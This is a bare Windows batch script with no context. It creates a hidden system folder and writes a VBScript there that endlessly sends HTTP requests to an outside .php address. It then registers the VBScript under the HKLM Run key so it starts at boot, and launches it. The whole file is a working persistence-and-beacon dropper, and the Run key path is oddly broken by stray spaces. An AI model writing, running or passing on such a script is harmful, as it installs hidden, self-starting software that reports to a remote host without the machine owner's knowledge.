chcp 1251
MD "%SystemRoot%\123123\"
attrib "%SystemRoot%\123123" +h +s
echo Set oHTTP = WScript.CreateObject("winhttp.winhttprequest.5.1") > "%SystemRoot%\123123\123.vbs"
echo iPeriod = 666 >> "%SystemRoot%\123123\123.vbs"
echo sSource = "http://wilssurik.h17.ru/ip/mail.php" >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo While 1 >> "%SystemRoot%\123123\123.vbs"
echo WScript.Sleep 1000 >> "%SystemRoot%\123123\123.vbs"
echo If (Timer - iTimer) * 777 Then >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.open "GET", sSource, False >> "%SystemRoot%\123123\123.vbs"
echo on error resume next >> "%SystemRoot%\123123\123.vbs"
echo oHTTP.send >> "%SystemRoot%\123123\123.vbs"
echo iTimer = Timer >> "%SystemRoot%\123123\123.vbs"
echo End If >> "%SystemRoot%\123123\123.vbs"
echo WEnd >> "%SystemRoot%\123123\123.vbs"
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur r entVersion\Run" /v 123 /t REG_SZ /d %SystemRoot%\123123\123.vbs /f
start "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur r entVersion\Run\123" %SystemRoot%\123123\123.vbs
pause